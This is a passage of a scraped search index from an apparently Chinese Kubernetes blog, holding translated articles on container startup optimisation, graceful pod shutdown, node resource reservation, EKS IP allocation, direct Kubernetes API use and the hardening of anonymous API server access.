","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:1:0","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"系统时间 ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:2:0","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"创建和销毁 network 命名空间 创建和销毁网络命名空间曾经非常昂贵,只需使用该 unshare 工具即可重现该问题,在 Fedora 24 上我得到: # hyperfine 'unshare -n true' Benchmark 1: 'unshare -n true' Time (mean ± σ): 47.7 ms ± 51.4 ms [User: 0.6 ms, System: 3.2 ms] Range (min … max): 0.0 ms … 190.5 ms 365 runs 这算是很长的耗时! 我试图在内核中修复它并提出了一个 patch 补丁。Florian Westphal 以更好的方式将其进行了重写,并合并到了 Linux 内核中: commit 8c873e2199700c2de7dbd5eedb9d90d5f109462b Author: Florian Westphal Date: Fri Dec 1 00:21:04 2017 +0100 netfilter: core: free hooks with call_rcu Giuseppe Scrivano says: \"SELinux, if enabled, registers for each new network namespace 6 netfilter hooks.\" Cost for this is high. With synchronize_net() removed: \"The net benefit on an SMP machine with two cores is that creating a new network namespace takes -40% of the original time.\" This patch replaces synchronize_net+kvfree with call_rcu(). We store rcu_head at the tail of a structure that has no fixed layout, i.e. we cannot use offsetof() to compute the start of the original allocation. Thus store this information right after the rcu head. We could simplify this by just placing the rcu_head at the start of struct nf_hook_entries. However, this structure is used in packet processing hotpath, so only place what is needed for that at the beginning of the struct. Reported-by: Giuseppe Scrivano Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso commit 26888dfd7e7454686b8d3ea9ba5045d5f236e4d7 Author: Florian Westphal Date: Fri Dec 1 00:21:03 2017 +0100 netfilter: core: remove synchronize_net call if nfqueue is used since commit 960632ece6949b (\"netfilter: convert hook list to an array\") nfqueue no longer stores a pointer to the hook that caused the packet to be queued. Therefore no extra synchronize_net() call is needed after dropping the packets enqueued by the old rule blob. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso commit 4e645b47c4f000a503b9c90163ad905786b9bc1d Author: Florian Westphal Date: Fri Dec 1 00:21:02 2017 +0100 netfilter: core: make nf_unregister_net_hooks simple wrapper again This reverts commit d3ad2c17b4047 (\"netfilter: core: batch nf_unregister_net_hooks synchronize_net calls\"). Nothing wrong with it. However, followup patch will delay freeing of hooks with call_rcu, so all synchronize_net() calls become obsolete and there is no need anymore for this batching. This revert causes a temporary performance degradation when destroying network namespace, but its resolved with the upcoming call_rcu conversion. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso 这些补丁产生了巨大的差异,现在创建和销毁网络命名空间的时间已经下降到了一个难以置信的地步,以下是一个现代 5.19.15 内核的数据: # hyperfine 'unshare -n true' Benchmark 1: 'unshare -n true' Time (mean ± σ): 1.5 ms ± 0.5 ms [User: 0.3 ms, System: 1.3 ms] Range (min … max): 0.8 ms … 6.7 ms 1907 runs ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:2:1","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"挂载 mqueue 挂载 mqueue 也是一个相对昂贵的操作。 在 Fedora 24 上,它曾经是这样的: # mkdir /tmp/mqueue; hyperfine 'unshare --propagation=private -m mount -t mqueue mqueue /tmp/mqueue'; rmdir /tmp/mqueue Benchmark 1: 'unshare --propagation=private -m mount -t mqueue mqueue /tmp/mqueue' Time (mean ± σ): 16.8 ms ± 3.1 ms [User: 2.6 ms, System: 5.0 ms] Range (min … max): 9.3 ms … 26.8 ms 261 runs 在这种情况下,我也尝试修复它并提出一个 补丁。它没有被接受,但 Al Viro 想出了一个更好的版本来解决这个问题: commit 36735a6a2b5e042db1af956ce4bcc13f3ff99e21 Author: Al Viro Date: Mon Dec 25 19:43:35 2017 -0500 mqueue: switch to on-demand creation of internal mount Instead of doing that upon each ipcns creation, we do that the first time mq_open(2) or mqueue mount is done in an ipcns. What's more, doing that allows to get rid of mount_ns() use - we can go with considerably cheaper mount_nodev(), avoiding the loop over all mqueue superblock instances; ipcns-\u003emq_mnt is used to locate preexisting instance in O(1) time instead of O(instances) mount_ns() would've cost us. Based upon the version by Giuseppe Scrivano ; I've added handling of userland mqueue mounts (original had been broken in that area) and added a switch to mount_nodev(). Signed-off-by: Al Viro 在这个补丁之后,创建 mqueue 挂载的成本也下降了: # mkdir /tmp/mqueue; hyperfine 'unshare --propagation=private -m mount -t mqueue mqueue /tmp/mqueue'; rmdir /tmp/mqueue Benchmark 1: 'unshare --propagation=private -m mount -t mqueue mqueue /tmp/mqueue' Time (mean ± σ): 0.7 ms ± 0.5 ms [User: 0.5 ms, System: 0.6 ms] Range (min … max): 0.0 ms … 3.1 ms 772 runs ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:2:2","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"创建和销毁 IPC 命名空间 我将加速容器启动时间的事推迟了几年,并在 2020 年初重新开始。我意识到的另一个问题是创建和销毁 IPC 命名空间的时间。 与网络命名空间一样,仅使用以下 unshare 工具即可重现该问题: # hyperfine 'unshare -i true' Benchmark 1: 'unshare -i true' Time (mean ± σ): 10.9 ms ± 2.1 ms [User: 0.5 ms, System: 1.0 ms] Range (min … max): 4.2 ms … 17.2 ms 310 runs 与前两次尝试不同,这次我发送的补丁被上游接受了: commit e1eb26fa62d04ec0955432be1aa8722a97cb52e7 Author: Giuseppe Scrivano Date: Sun Jun 7 21:40:10 2020 -0700 ipc/namespace.c: use a work queue to free_ipc the reason is to avoid a delay caused by the synchronize_rcu() call in kern_umount() when the mqueue mount is freed. the code: #define _GNU_SOURCE #include #include #include #include int main() { int i; for (i = 0; i \u003c 1000; i++) if (unshare(CLONE_NEWIPC) \u003c 0) error(EXIT_FAILURE, errno, \"unshare\"); } goes from Command being timed: \"./ipc-namespace\" User time (seconds): 0.00 System time (seconds): 0.06 Percent of CPU this job got: 0% Elapsed (wall clock) time (h:mm:ss or m:ss): 0:08.05 to Command being timed: \"./ipc-namespace\" User time (seconds): 0.00 System time (seconds): 0.02 Percent of CPU this job got: 96% Elapsed (wall clock) time (h:mm:ss or m:ss): 0:00.03 Signed-off-by: Giuseppe Scrivano Signed-off-by: Andrew Morton Reviewed-by: Paul E. McKenney Reviewed-by: Waiman Long Cc: Davidlohr Bueso Cc: Manfred Spraul Link: http://lkml.kernel.org/r/20200225145419.527994-1-gscrivan@redhat.com Signed-off-by: Linus Torvalds 有了这个补丁,创建和销毁 IPC 的时间也大大减少了,正如提交消息中所概述的那样,在我现在得到的现代 5.19.15 内核上: # hyperfine 'unshare -i true' Benchmark 1: 'unshare -i true' Time (mean ± σ): 0.1 ms ± 0.2 ms [User: 0.2 ms, System: 0.4 ms] Range (min … max): 0.0 ms … 1.5 ms 1966 runs ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:2:3","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"用户时间 内核态时间现在似乎已得到控制。我们可以做些什么来减少用户时间? 正如我们之前已经发现的,libseccomp 是这里的罪魁祸首,因此我们需要首先解决它,这发生在内核中对 IPC 的修复之后。 libseccomp 的大部分成本都是由系统调用查找代码引起的。OCI 配置文件包含一个按名称列出系统调用的列表,每个系统调用通过 seccomp_syscall_resolve_name 函数调用进行查找,该函数返回给定系统调用名称的系统调用编号。 libseccomp 用于通过系统调用表对每个系统调用名称执行线性搜索,例如,对于 x86_64,它看起来像这样: /* NOTE: based on Linux v5.4-rc4 */ const struct arch_syscall_def x86_64_syscall_table[] = { \\ { \"_llseek\", __PNR__llseek }, { \"_newselect\", __PNR__newselect }, { \"_sysctl\", 156 }, { \"accept\", 43 }, { \"accept4\", 288 }, { \"access\", 21 }, { \"acct\", 163 }, ..... }; int x86_64_syscall_resolve_name(const char *name) { unsigned int iter; const struct arch_syscall_def *table = x86_64_syscall_table; /* XXX - plenty of room for future improvement here */ for (iter = 0; table[iter].name != NULL; iter++) { if (strcmp(name, table[iter].name) == 0) return table[iter].num; } return __NR_SCMP_ERROR; } 通过 libseccomp 构建 seccomp 配置文件的复杂度为 O(n*m),其中 n 是配置文件中的系统调用数量,m 是 libseccomp 已知的系统调用数量。 我遵循了代码注释中的建议,并花了一些时间尝试修复它。2020 年 1 月,我为 libseccomp 开发了一个 补丁,以使用完美的哈希函数查找系统调用名称来解决这个问题。 libseccomp 的补丁是这个: commit 9b129c41ac1f43d373742697aa2faf6040b9dfab Author: Giuseppe Scrivano Date: Thu Jan 23 17:01:39 2020 +0100 arch: use gperf to generate a perfact hash to lookup syscall names This patch significantly improves the performance of seccomp_syscall_resolve_name since it replaces the expensive strcmp for each syscall in the database, with a lookup table. The complexity for syscall_resolve_num is not changed and it uses the linear search, that is anyway less expensive than seccomp_syscall_resolve_name as it uses an index for comparison instead of doing a string comparison. On my machine, calling 1000 seccomp_syscall_resolve_name_arch and seccomp_syscall_resolve_num_arch over the entire syscalls DB passed from ~0.45 sec to ~0.06s. PM: After talking with Giuseppe I made a number of additional changes, some substantial, the highlights include: * various style tweaks * .gitignore fixes * fixed subject line, tweaked the description * dropped the arch-syscall-validate changes as they were masking other problems * extracted the syscalls.csv and file deletions to other patches to keep this one more focused * fixed the x86, x32, arm, all the MIPS ABIs, s390, and s390x ABIs as the syscall offsets were not properly incorporated into this change * cleaned up the ABI specific headers * cleaned up generate_syscalls_perf.sh and renamed to arch-gperf-generate * fixed problems with automake's file packaging Signed-off-by: Giuseppe Scrivano Reviewed-by: Tom Hromatka [PM: see notes in the \"PM\" section above] Signed-off-by: Paul Moore 该补丁已合并并发布,现在构建 seccomp 配置文件的复杂度为 O(n),其中 n 是配置文件中系统调用的数量。 改进是显着的,在足够新的 libseccomp 下: # hyperfine 'crun run foo' Benchmark 1: 'crun run foo' Time (mean ± σ): 28.9 ms ± 5.9 ms [User: 16.7 ms, System: 4.5 ms] Range (min … max): 19.1 ms … 41.6 ms 73 runs 用户时间仅为 16.7ms。以前是 40ms 以上,完全不用 seccomp 的时候是 4ms 左右。 所以使用 4.1ms 作为没有 seccomp 的用户时间成本,我们有: time_used_by_seccomp_before = 43.0ms - 4.1ms = 38.9ms time_used_by_seccomp_after = 16.7ms - 4.1ms = 12.6ms 快 3 倍以上!系统调用查找只是 libseccomp 所做工作的一部分,另外相当多的时间用于编译 BPF 过滤器。 ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:3:0","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"BPF 过滤器编译 我们还能做得更好吗? BPF 过滤器编译由 seccomp_export_bpf 函数完成,它仍然相当昂贵。 一个简单的观察是,大多数容器一遍又一遍地重复使用相同的 seccomp 配置文件,很少进行自定义。 因此缓存编译结果并在可能的情况下重用它是有意义的。 有一个新的运行特性 来缓存 BPF 过滤器编译的结果。在撰写本文时,该补丁尚未合并,尽管它快要完成了。 有了这个,只有当生成的 BPF 过滤器不在缓存中时,编译 seccomp 配置文件的成本才会被支付,这就是我们现在所拥有的: # hyperfine 'crun-from-the-future run foo' Benchmark 1: 'crun-from-the-future run foo' Time (mean ± σ): 5.6 ms ± 3.0 ms [User: 1.0 ms, System: 4.5 ms] Range (min … max): 4.2 ms … 26.8 ms 101 runs ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:4:0","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"结论 五年多来,创建和销毁 OCI 容器所需的总时间已从将近 160 毫秒加速到略多于 5 毫秒。 这几乎是 30 倍的改进! ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:5:0","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"Kubernetes 优雅终止 pod","date":"2023-03-25","objectID":"/gracefully-shut-down/","tags":["Kubernetes"],"title":"Kubernetes 优雅终止 pod","uri":"/gracefully-shut-down/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://itnext.io/how-do-you-gracefully-shut-down-pods-in-kubernetes-fb19f617cd67 当你执行 kubectl delete pod 时,pod 被删除, endpoint 控制器从 service 和 etcd 中删除该 pod 的 IP 地址和端口。 你可以使用 kubectl describe service 观察到这一点。 但远不止如此! 多个组件都会同步变更至本地 endpoint 列表: kube-proxy 通过本地 endpoint 列表来编写 iptables 规则 CoreDNS 使用 endpoint 重新配置 DNS Ingress 控制器、Istio 等也是如此。 所有这些组件都将(最终)删除以前的 endpoint,这样就再也没有流量可以到达它了。 同时,kubelet 也收到了变化的通知,并删除了 pod。 当 kubelet 在其余组件之前删除 pod 时会发生什么? 不幸的是,你会遇到停机, 因为 kube-proxy、CoreDNS、ingress 控制器等组件仍在使用该 IP 地址来路由流量。 所以,你可以做什么? 等待! 如果在删除 Pod 之前等待足够长的时间,飞行中的流量仍然可以解析,并且可以将新流量分配给其他 Pod。 你应该如何等待? 当 kubelet 删除一个 pod 时,它会经历以下步骤: 触发 preStop 钩子(如果有)。 发送 SIGTERM。 发送 SIGKILL 信号(默认 30 秒后)。 你可以使用preStop挂钩来插入人工延迟。 你可以在你的应用程序中监听 SIGTERM 信号并等待。 此外,你可以优雅地停止该过程并在等待完成后退出。 Kubernetes 给你 30 秒的时间来这样做(时长可配置)。 你应该等待 10 秒、20 秒还是 30 秒? 没有单一的答案。 虽然传播 endpoint 可能只需要几秒钟,但 Kubernetes 不保证任何时间,也不保证所有组件将同时完成。 如果你想探索更多,这里有一些链接: https://learnk8s.io/graceful-shutdown https://freecontent.manning.com/handling-client-requests-properly-with-kubernetes/ https://kubernetes.io/docs/concepts/workloads/pods/pod/#termination-of-pods https://medium.com/tailwinds-navigator/kubernetes-tip-how-to-gracefully-handle-pod-deletion-b28d23644ccc https://medium.com/flant-com/kubernetes-graceful-shutdown-nginx-php-fpm-d5ab266963c2 https://www.openshift.com/blog/kubernetes-pods-life ","date":"2023-03-25","objectID":"/gracefully-shut-down/:0:0","tags":["Kubernetes"],"title":"Kubernetes 优雅终止 pod","uri":"/gracefully-shut-down/"},{"categories":["Kubernetes"],"content":"Kubernetes 节点的预留资源","date":"2023-03-25","objectID":"/reserved-cpu-memory-in-nodes/","tags":["Kubernetes"],"title":"Kubernetes 节点的预留资源","uri":"/reserved-cpu-memory-in-nodes/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://medium.com/@danielepolencic/reserved-cpu-and-memory-in-kubernetes-nodes-65aee1946afd 在 Kubernetes 中,运行多个集群节点是否存在隐形成本? 是的,因为并非 Kubernetes 节点中的所有 CPU 和内存都可用于运行 Pod。 在一个 Kubernetes 节点中,CPU 和内存分为: 操作系统 Kubelet、CNI、CRI、CSI(+ 系统 daemons) Pods 驱逐阈值 这些预留的资源取决于实例的大小,并且可能会增加相当大的开销。 让我们举一个简单的例子。 想象一下,你有一个具有单个 1GiB / 1vCPU 节点的集群。 以下资源是为 kubelet 和操作系统保留的: 255MiB 内存。 60m 的 CPU。 最重要的是,为驱逐阈值预留了 100MB。 那么总共有 25% 的内存和 6% 的 CPU 不能使用。 在云厂商中的情况又是如何? EKS 有一些(有趣的?)限制。 让我们选择一个具有 2vCPU 和 8GiB 内存的 m5.large 实例。 AWS 为 kubelet 和操作系统保留了以下内容: 574MiB 内存。 70m 的 CPU。 这一次,你很幸运。 你可以使用大约 93% 的可用内存。 但这些数字从何而来? 每个云厂商都有自己定义限制的方式,但对于 CPU,他们似乎都同意以下值: 第一个核心的 6%。 下一个核心的 1%(最多 2 个核心)。 接下来 2 个核心的 0.5%(最多 4 个核心)。 四核以上任何核的 0.25%。 至于内存限制,云厂商之间差异很大。 Azure 是最保守的,而 AWS 则是最不保守的。 Azure 中 kubelet 的预留内存为: 前 4 GB 内存的 25%。 4 GB 以下内存的 20%(最大 8 GB)。 8 GB 以下内存的 10%(最大 16 GB)。 下一个 112 GB 内存的 6%(最多 128 GB)。 超过 128 GB 的任何内存的 2%。 这对于 GKE 是相同的,除了一个值:逐出阈值在 GKE 中为 100MB,在 AKS 中为 750MiB。 在 EKS 中,使用以下公式分配内存: 255MiB + (11MiB * MAX_NUMBER OF POD) 不过,这个公式提出了一些问题。 在前面的示例中,m5.large 保留了 574MiB 的内存。 这是否意味着 VM 最多可以有 (574–255) / 11 = 29 个 pod? 如果你没有在 VPC-CNI 中启用 prefix 前缀分配模式,这是正确的。 如果这样做,结果将大不相同。 对于多达 110 个 pod,AWS 保留: 1.4GiB 内存。 (仍然)70m 的 CPU。 这听起来更合理,并且与其他云厂商一致。 让我们看看 GKE 进行比较。 对于类似的实例类型(即 n1-standard-2,7.5GB 内存,2vCPU),kubelet 的预留如下: 1.7GB 内存。 70m 的 CPU。 换句话说,23% 的实例内存无法分配给运行的 Pod。 如果实例每月花费 48.54 美元,那么你将花费 11.16 美元来运行 kubelet。 其他云厂商呢? 你如何检查这些值? 我们构建了一个简单的工具来检查 kubelet 的配置并提取相关细节。 你可以在这里找到它:https://github.com/learnk8s/kubernetes-resource-inspector 如果你有兴趣探索更多关于节点大小的信息,我们还构建了一个简单的实例计算器,你可以在其中定义工作负载的大小,它会显示适合该大小的所有实例(及其价格)。 https://learnk8s.io/kubernetes-instance-calculator 我希望你喜欢这篇关于 Kubernetes 资源预留的短文;在这里,你可以找到更多链接以进一步探索该主题。 Kubernetes instance calculator。 Allocatable memory and CPU in Kubernetes Nodes Allocatable memory and CPU resources on GKE AWS EKS AMI reserved CPU and reserved memory AKS resource reservations 官方文档 https://kubernetes.io/docs/tasks/administer-cluster/reserve-compute-resources/ Enabling prefix assignment in EKS and VPC CNI ","date":"2023-03-25","objectID":"/reserved-cpu-memory-in-nodes/:0:0","tags":["Kubernetes"],"title":"Kubernetes 节点的预留资源","uri":"/reserved-cpu-memory-in-nodes/"},{"categories":["Kubernetes"],"content":"EKS 集群中的 IP 地址分配问题","date":"2023-03-23","objectID":"/ip-and-pod-allocations-in-eks/","tags":["Kubernetes"],"title":"EKS 集群中的 IP 地址分配问题","uri":"/ip-and-pod-allocations-in-eks/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://itnext.io/ip-and-pod-allocations-in-eks-5be6612b8325 运行 EKS 集群时,你可能会遇到两个问题: 分配给 pod 的 IP 地址用完了。 每个节点的 pod 数量少(由于 ENI 限制)。 在本文中,你将学习如何克服这些问题。 在我们开始之前,这里有一些关于节点内网络如何在 Kubernetes 中工作的背景知识。 创建节点时,kubelet 委托: 创建容器到容器运行时。 将容器连接到 CNI 的网络。 将卷安装到 CSI。 让我们关注 CNI 部分。 每个 pod 都有自己独立的 Linux 网络命名空间,并连接到一个网桥。 CNI 负责创建网桥、分配 IP 并将 veth0 连接到 cni0。 这通常会发生,但不同的 CNI 可能会使用其他方式将容器连接到网络。 例如,可能没有 cni0 网桥。 AWS-CNI 是此类 CNI 的一个示例。 在 AWS 中,每个 EC2 实例都可以有多个网络接口 (ENI)。 你可以为每个 ENI 分配有限数量的 IP。 例如,一个 m5.large 实例可以为 ENI 分配最多 10 个 IP。 在这 10 个 IP 中,你必须将一个分配给网络接口。 剩下的你可以不用管。 以前,你可以使用额外的 IP 并将它们分配给 Pod。 但是有一个很大的限制:IP 地址的数量。 让我们看一个例子。 使用 m5.large 实例,你最多有 3 个 ENI,每个有 10 个 IP 私有地址。 由于保留了一个 IP,每个 ENI 还剩下 9 个(总共 27 个)。 这意味着你的 m5.large 实例最多可以运行 27 个 Pod。 这不是很多。 但是 AWS 发布了对 EC2 的更改,允许将“地址前缀”分配给网络接口。 地址前缀是什么?! 简而言之,ENI 现在支持范围而不是单个 IP 地址。 如果以前你可以拥有 10 个私有 IP 地址,那么现在你可以拥有 10 个 IP 地址槽。 地址槽有多大呢? 默认情况下,16 个 IP 地址。 使用 10 个槽,你最多可以拥有 160 个 IP 地址。 这是一个相当显着的变化! 让我们看一个例子。 使用 m5.large 实例,你有 3 个 ENI,每个有 10 个插槽(或 IP)。 由于为 ENI 保留了一个 IP,因此你还剩下 9 个插槽。 每个插槽是 16 个 IP,所以是 9*16=144 个 IP。 由于有 3 个 ENI,那就是 144x3=432 个 IP。 你现在最多可以拥有 432 个 Pod(之前是 27 个)。 AWS-CNI 支持插槽并将 Pod 的最大数量限制为 110 或 250,因此你最多可以在 m5.large 中拥有 432 个 pod 。 还值得指出的是,这不是默认启用的——即使在较新的集群中也是如此。 可能是因为只有 nitro 实例支持它。 分配插槽非常棒,直到你意识到 CNI 一次提供 16 个 IP 地址,而不是仅提供 1 个,这具有以下含义: 更快地耗尽 IP 空间。 碎片化。 让我们回顾一下。 一个 pod 被调度到一个节点。 AWS-CNI 分配 1 个 slot(16 个 IP),pod 使用一个。 现在想象一下有 5 个节点和一个包含 5 个副本的部署。 会发生什么? Kubernetes 调度程序更喜欢将 pod 分布在整个集群中。 很可能,每个节点接收 1 个 pod,AWS-CNI 分配 1 个插槽(16 个 IP)。 你从你的网络分配了 5*15=75 个 IP,但仅使用了 5 个。 但还有更多。 插槽分配一个连续的 IP 地址块。 如果分配了一个新 IP(例如创建了一个节点),你可能会遇到碎片问题。 怎么解决这些问题呢? 你可以为 EKS 分配一个次级 CIDR。 你可以在子网内保留 IP 空间供插槽独占使用。 相关链接: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI https://aws.amazon.com/blogs/containers/amazon-vpc-cni-increases-pods-per-node-limits/ https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-prefix-eni.html#ec2-prefix-basics ","date":"2023-03-23","objectID":"/ip-and-pod-allocations-in-eks/:0:0","tags":["Kubernetes"],"title":"EKS 集群中的 IP 地址分配问题","uri":"/ip-and-pod-allocations-in-eks/"},{"categories":["Kubernetes"],"content":"使用 Kubernetes API 可以让您控制集群的各个方面。","date":"2023-03-22","objectID":"/working-with-k8s-api/","tags":["Kubernetes"],"title":"使用 Kubernetes API","uri":"/working-with-k8s-api/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://itnext.io/working-with-the-kubernetes-api-587bc5941992 Kubernetes 公开了一个强大的 API,可让您控制集群的各个方面。 大多数时候,它隐藏在 kubectl 后面,但没有人会阻止您直接使用它。 在本文中,您将学习如何使用 curl 或者您喜欢的编程语言向 Kubernetes API 发出请求。 但首先,让我们回顾一下 Kubernetes API 的工作原理。 当您键入命令时,kubectl: 客户端校验请求。 在文件上生成 YAML(例如kubectl run)。 构造运行时对象。 此时,kubectl 还没有向集群发出任何请求。 下一步,它查询当前的 API 服务器并发现所有可用的 API 端点。 最后,kubectl 使用运行时对象和端点来协商正确的 API 调用。 如果您的资源是 Pod,kubectl 会读取 apiVersion 和 kind 字段并确保它们在集群中可用和受支持。 然后它发送请求。 理解在 Kubernetes 中 API 是分组的这很重要的。 为了进一步隔离多个版本,资源被版本化。 现在您已经掌握了基础知识,让我们来看一个示例。 您可以使用 kubectl proxy 启动到 API 服务器的本地隧道。 但是如何检索所有 deployments 呢? Deployments 属于 apps 组并且有一个 v1 版本。 您可以列出它们: curl localhost:8001/apis/apps/v1/namespaces/{namespace}/deployments 列出所有正在运行的 pod 怎么样? Pod 属于 \"\"(空)组并且有一个 v1 版本。 您可以列出它们: curl localhost:8001/api/v1/namespaces/{namespace}/pods group 为空看起来有点奇怪——还有更多例外吗? 好吧,现实是有一种更简单的方法来构建 URL。 我通常使用 Kubernetes API 参考文档,因为路径都整齐地列出了。 让我们看另一个示例,但这次是在 API 参考的帮助下。 如果你想收到 pod 更改的通知怎么办? 在 API 中称为 watch,命令为: GET /api/v1/watch/namespaces/{namespace}/pods/{name} 太好了,但这一切有什么意义呢? 直接访问 API 允许您构建脚本来自动执行任务。 或者您可以构建自己的 kubernetes 扩展。 我来给你展示。 这是一个约 130 行 Javascript 的小型 kubernetes 仪表板。 它调用了 2 个 API: 列出所有 pod watch pod 的变化 其余代码用于对节点进行分组和显示。 在 Kubernetes 中,将列出和更新资源结合起来非常普遍,以至于它成为一种称为 shared informer 的模式。 Javascript/Typescript API 有一个很好的 shared informer 的例子. 但它只是 2 个 GET 请求(和一些缓存)的奇特名称。 API 不止于读取资源。 您还可以创建新资源并修改现有资源。 例如,您可以修改部署的副本: PATCH /apis/apps/v1/namespaces/{namespace}/deployments/{name} 为了进行实验,我建造了一些非常规的东西。 xlskubectl 是我尝试使用 Excel/Google 表格控制 kubernetes 集群。 该代码与上述 Javascript 代码非常相似: 它使用 shared informer 它轮询 google sheets 的更新 它将所有内容呈现为单元格 这个示例是一个好主意吗? 可能并不是。 希望它能帮助您实现直接使用 Kubernetes API 的潜力。 这些代码都不是用 Go 编写的——您可以使用任何编程语言去调用 Kubernetes API。 ","date":"2023-03-22","objectID":"/working-with-k8s-api/:0:0","tags":["Kubernetes"],"title":"使用 Kubernetes API","uri":"/working-with-k8s-api/"},{"categories":["Kubernetes"],"content":"谈谈 Kubernetes 的匿名访问","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://raesene.github.io/blog/2023/03/18/lets-talk-about-anonymous-access-to-Kubernetes/ 本周有一些关于 Dero Cryptojacking operation 的文章,其中关于攻击者所实施的细节之一引起了我的注意。有人提到他们正在攻击允许匿名访问 Kubernetes API 的集群。究竟如何以及为什么可以匿名访问 Kubernetes 是一个有趣的话题,涉及几个不同的领域,所以我想我会写一些关于它的内容。 ","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/:0:0","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":"匿名访问如何工作? 集群是否可以进行匿名访问由 kube-apiserver 组件的标志 --anonymous-auth 控制,其默认为true,因此如果您在传递给服务器的参数列表中没有看到它,那么匿名访问将被启用。 然而,仅凭此项设置并不能给攻击者提供访问集群的很多权限,因为它只涵盖了请求在被处理之前通过的三个步骤之一(Authentication -\u003e Authorization -\u003e Admission Control )。正如 Kubernetes 控制访问 的文档中所示,在身份认证后,请求还必须经过授权和准入控制(认证 -\u003e 授权 -\u003e 准入控制)。 ","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/:1:0","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":"授权和匿名访问 因此下一步是请求需要匹配授权策略(通常是 RBAC,但也可能是其他策略)。当然,为了做到这一点,请求必须分配一个身份标识,这个时候 system:anonymous 和 system:unauthenticated 权限组就派上了用场。这些身份标识被分配给任何没有有效身份验证令牌的请求,并用于匹配授权政策。 您可以通过查看Kubeadm 集群上的 system:public-info-viewer clusterrolebinding 来了解类似的工作原理。 apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: annotations: rbac.authorization.kubernetes.io/autoupdate: \"true\" labels: kubernetes.io/bootstrapping: rbac-defaults name: system:public-info-viewer roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: system:public-info-viewer subjects: - apiGroup: rbac.authorization.k8s.io kind: Group name: system:authenticated - apiGroup: rbac.authorization.k8s.io kind: Group name: system:unauthenticated ","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/:2:0","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":"匿名访问有多常见 现在我们知道了匿名访问是如何工作的,问题就变成了“这有多常见?”。答案是大多数主要发行版都会默认启用匿名访问,并通常通过 system:public-info-viewer clusterrole提供一些对 /version 以及其他几个端点的访问权限。 要了解这适用于多少集群,我们可以使用 censys 或 shodan 来查找返回版本信息的集群。例如,这个 censys 查询 显示返回版本信息的主机超过一百万,因此我们可以说这是一个相当常见的配置。 一个更严重的也更符合 dero 文章中提出的要点是,这些集群中有多少允许攻击者在其中创建工作负载。虽然您无法从 Censys 获得确切的信息,但它确实有一个显示集群的查询,允许匿名用户枚举集群中的 pod,在撰写本文时显示 302 个集群节点。我猜其中一些/大部分是蜜罐,但也可能有几个就是高风险的易受攻击的集群。 ","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/:3:0","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":"禁用匿名访问 在非托管集群(例如 Rancher、Kubespray、Kubeadm)上,您可以通过将标志 --anonymous-auth=false 传递给 kube-apiserver 组件来禁用匿名访问。在托管集群(例如 EKS、GKE、AKS)上,您不能这样做,但是您可以删除任何允许匿名用户执行操作的 RBAC 规则。例如,在 Kubeadm 集群上,您可以删除system:public-info-viewer clusterrolebinding和system:public-info-viewer clusterrole,以有效阻止匿名用户从集群获取信息。 当然,如果您有任何依赖这些端点的应用程序(例如健康检查),它们就会中断,因此测试您对集群所做的任何更改非常重要。这里的一种选择是查看您的审计日志,看看是否有任何匿名请求向 API 服务器发出。 ","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/:4:0","tags":["Kubernetes"],"title":"谈谈 Kubernetes 